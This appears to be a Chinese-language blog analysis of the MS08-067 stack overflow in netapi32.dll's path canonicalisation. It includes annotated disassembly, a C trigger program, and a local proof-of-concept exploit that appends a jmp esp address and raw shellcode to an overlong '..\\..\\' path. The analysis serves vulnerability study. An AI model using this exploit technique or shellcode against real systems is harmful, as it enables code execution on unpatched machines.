ms08-067分析

简要分析

漏洞在netapi32.dll中的导出函数NetpwNameCanonicalize的子函数CanonicalizePathName中。

CanonicalizePathName函数对路径合并的后的字符进以下的一些处理:

  1. 将字符串中的”/“转化成”\”:
1
2
3
4
5
6
7
8
9
10
11
12
13
.text:5FDDA1F8 rep_slash_loop:                         ; CODE XREF: CanonicalizePathName+88↓j
.text:5FDDA1F8 cmp word ptr [eax], 2Fh ; 将"/"转换成"\"
.text:5FDDA1FC jz slash_to_back_slash ; 复制"\"

.text:5FDDA202 slash_to_back_forward: ; CODE XREF: CanonicalizePathName+E774↓j
.text:5FDDA202 inc eax
.text:5FDDA203 inc eax
.text:5FDDA204 cmp word ptr [eax], 0
.text:5FDDA208 jnz short rep_slash_loop ; 将"/"转换成"\"

.text:5FDE88EF slash_to_back_slash: ; CODE XREF: CanonicalizePathName+7C↑j
.text:5FDE88EF mov word ptr [eax], 5Ch ; 复制"\"
.text:5FDE88F4 jmp slash_to_back_forward
  1. 调用函数CheckDosPathType,检查合并路径的DOS路径类型:
1
2
3
4
5
6
7
8
9
10
text:5FDDA20A chk_dos_path_type:                      ; CODE XREF: CanonicalizePathName+76↑j
.text:5FDDA20A lea eax, [ebp+Dest]
.text:5FDDA210 call CheckDosPathType
.text:5FDDA215 test eax, eax
.text:5FDDA217 jnz short chk_buf_len
.text:5FDDA219 lea eax, [ebp+Dest]
.text:5FDDA21F push eax ; Dest
.text:5FDDA220 call RemoveLegarcyFolder
.text:5FDDA225 test eax, eax
.text:5FDDA227 jz short err_invalid_name
  1. RemoveLegacyFolder函数中存在溢出的漏洞,RemoveLegacyFolder返回后,如果返回非零,表示合并路径已符合要求,若其长度未超过maxbuf,即可复制至can_path中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
.text:5FDDA20A chk_dos_path_type:                      ; CODE XREF: CanonicalizePathName+76↑j
.text:5FDDA20A lea eax, [ebp+Dest]
.text:5FDDA210 call CheckDosPathType
.text:5FDDA215 test eax, eax
.text:5FDDA217 jnz short chk_buf_len
.text:5FDDA219 lea eax, [ebp+Dest]
.text:5FDDA21F push eax ; Dest
.text:5FDDA220 call RemoveLegarcyFolder
.text:5FDDA225 test eax, eax
.text:5FDDA227 jz short err_invalid_name
.text:5FDDA229
.text:5FDDA229 chk_buf_len: ; CODE XREF: CanonicalizePathName+97↑j
.text:5FDDA229 lea eax, [ebp+Dest]
.text:5FDDA22F push eax ; Str
.text:5FDDA230 call esi ; __imp_wcslen
.text:5FDDA232 lea eax, [eax+eax+2]
.text:5FDDA236 cmp eax, [ebp+arg_C_maxbuf]
.text:5FDDA239 pop ecx
.text:5FDDA23A ja chk_retsize
.text:5FDDA240 lea eax, [ebp+Dest]
.text:5FDDA246 push eax ; Source
.text:5FDDA247 push [ebp+Outbuf] ; Dest
.text:5FDDA24D call ds:__imp_wcscpy
.text:5FDDA253 pop ecx
.text:5FDDA254 pop ecx
.text:5FDDA255 xor eax, eax
.text:5FDDA257
.text:5FDDA257 chk_security_cookie: ; CODE XREF: CanonicalizePathName+56↑j
.text:5FDDA257 ; CanonicalizePathName+E78A↓j
.text:5FDDA257 mov ecx, [ebp+security_cookie]
.text:5FDDA25A pop edi
.text:5FDDA25B pop esi
.text:5FDDA25C pop ebx
.text:5FDDA25D call chk_fail
.text:5FDDA262 leave
.text:5FDDA263 retn 14h

.text:5FDE88F9 chk_retsize: ; CODE XREF: CanonicalizePathName+BA↑j
.text:5FDE88F9 mov ecx, [ebp+ret_size]
.text:5FDE88FF test ecx, ecx
.text:5FDE8901 jz short NERR_BufTooSmall
.text:5FDE8903 mov [ecx], eax
.text:5FDE8905
.text:5FDE8905 NERR_BufTooSmall: ; CODE XREF: CanonicalizePathName+E781↑j
.text:5FDE8905 mov eax, 84Bh
.text:5FDE890A jmp chk_security_cookie

关键漏洞点在移除经典目录中的函数中:

1
2
3
4
5
6
7
8
9
.text:5FDE87F8 update_current_slash_after_copy:        ; CODE XREF: RemoveLegarcyFolder+93↑j
.text:5FDE87F8 mov [ebp+cur_slash], edi
.text:5FDE87FB mov esi, edi
.text:5FDE87FD lea eax, [edi-2]
.text:5FDE8800 jmp short check_previous_slash_after_copy
....................
.text:5FDE8809 check_previous_slash_after_copy: ; CODE XREF: RemoveLegarcyFolder+E595↑j
.text:5FDE8809 cmp word ptr [eax], '\'
.text:5FDE880D jnz short loop_search_previous_slash

这里eax作为向前搜索经典目录中的”\”的初始指针,edi指向经典目录中,相对于eax的往前第二个”\”,用来移除经典目录中的”..\”,但是在这里并没有对eax的地址做边界检查,会导致eax存储一个非预期的地址。

在这之后函数进行循环搜索”\”并在过程的开始对eax做边界检查,但此时已经于事无补,因为此时eax若在之前是越过边界则已经不会与arg_path相等,此时就会不断的在内存空间里每2个字节的往前找”\”(0x5C),直到找到才会停止:

1
2
3
4
5
.text:5FDE8802 loop_search_previous_slash:             ; CODE XREF: RemoveLegarcyFolder+E5A2↓j
.text:5FDE8802 cmp eax, [ebp+arg_path]
.text:5FDE8805 jz short loc_5FDE880F
.text:5FDE8807 dec eax
.text:5FDE8808 dec eax

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <windows.h>
#include <stdio.h>
typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);
int main(int argc, char* argv[])
{
WCHAR path[256];
WCHAR can_path[256];
DWORD type = 1000;
int retval;
HMODULE handle = LoadLibrary(".\\netapi32.dll");
MYPROC Trigger = NULL;
if (NULL == handle)
{
wprintf(L"Fail to load library!\n");
return -1;
}
Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
if (NULL == Trigger)
{
FreeLibrary(handle);
wprintf(L"Fail to get api address!\n");
return -1;
}
path[0] = 0;
wcscpy(path, L"\\aaa\\..\\..\\bbbb");
can_path[0] = 0;
type = 1000;
wprintf(L"BEFORE: %s\n", path);
retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
wprintf(L"AFTER : %s\n", can_path);
wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval);
FreeLibrary(handle);
return 0;
}

当eax越界后,在低地址找到”0x5C”后,内存布局如下:

此时eax远小于esp,若当再次调用某个函数,开辟栈空间时,溢出的经典目录部分就可以覆盖掉函数返回地址,这里接下来的是wcscpy进行字符复制函数,这就有可能将函数的返回地址进行修改:

测试的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <windows.h>
#include <stdio.h>

typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);

// address of jmp esp
#define JMP_ESP "\x23\xfd\xe0\x5f\x00\x00"

//shellcode
#define SHELL_CODE \
"\x90\x90\x90\x90" \
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"\
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"\
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"\
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"\
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"\
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"\
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"\
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"\
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"\
"\x53\x68\x74\x65\x73\x74\x68\x6D\x69\x78\x69\x8B\xC4\x53\x50\x50"\
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"\

int main(int argc, char* argv[])
{
WCHAR path[256];
WCHAR can_path[256];
DWORD type = 1000;
int retval;
HMODULE handle = LoadLibrary(".\\netapi32.dll");
MYPROC Trigger = NULL;

if (NULL == handle)
{
wprintf(L"Fail to load library!\n");
return -1;
}

Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
if (NULL == Trigger)
{
FreeLibrary(handle);
wprintf(L"Fail to get api address!\n");
return -1;
}

path[0] = 0;
wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
wcscat(path, (wchar_t *)JMP_ESP);
wcscat(path, (wchar_t *)SHELL_CODE);
can_path[0] = 0;
type = 1000;
wprintf(L"BEFORE: %s\n", path);
retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
wprintf(L"AFTER : %s\n", can_path);
wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval);

FreeLibrary(handle);

return 0;
}